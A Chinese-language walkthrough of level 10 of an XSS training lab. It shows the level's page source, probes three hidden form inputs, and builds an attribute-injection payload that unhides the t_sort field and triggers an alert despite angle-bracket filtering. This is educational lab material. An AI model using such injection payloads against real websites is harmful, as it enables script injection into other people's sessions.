<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level11.php?keyword=good job!"; } </script> <title>欢迎来到level10</title> </head> <body> <h1 align=center>欢迎来到level10</h1> <h2 align=center>没有找到和well done!相关的结果.</h2><center> <form id=search> <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> </form> </center><center><img src=level10.png></center> <h3 align=center>payload的长度:10</h3></body> </html>
从源码中可以看出有三个输入框,但是在页面没有显示,我们可以试试从这三个输入框入手。
http://192.168.199.153/xss/level10.php?keyword=well%20done!&t_link=123
<input name="t_link" value="" type="hidden">
http://192.168.199.153/xss/level10.php?keyword=well%20done!t_history=123
<input name="t_history" value="" type="hidden">
http://192.168.199.153/xss/level10.php?keyword=well%20done!&t_sort=123
<input name="t_sort" value="123" type="hidden">
测试完后,发现只有 t_sort 可以赋值value值。
我们先排除一下看那些代码不可以使用。
' " onclick alert() href script <> 测试这几个,发现<> 被过滤掉了。
既然有了value值,先使用onclick试一下。
&"onclick=alert() // & 是不同参数的分割符
没有进行弾窗,也没出现输入框。
发现输入的内容给输出到页面了,再次查看源码,看一下t_sort这个输入框的内容。发现type="hidden" 给隐藏了,我们重新把type定义一个。
"type="test" onclick="alert()
输入框显示出来了。
点击输入框,成功弹窗!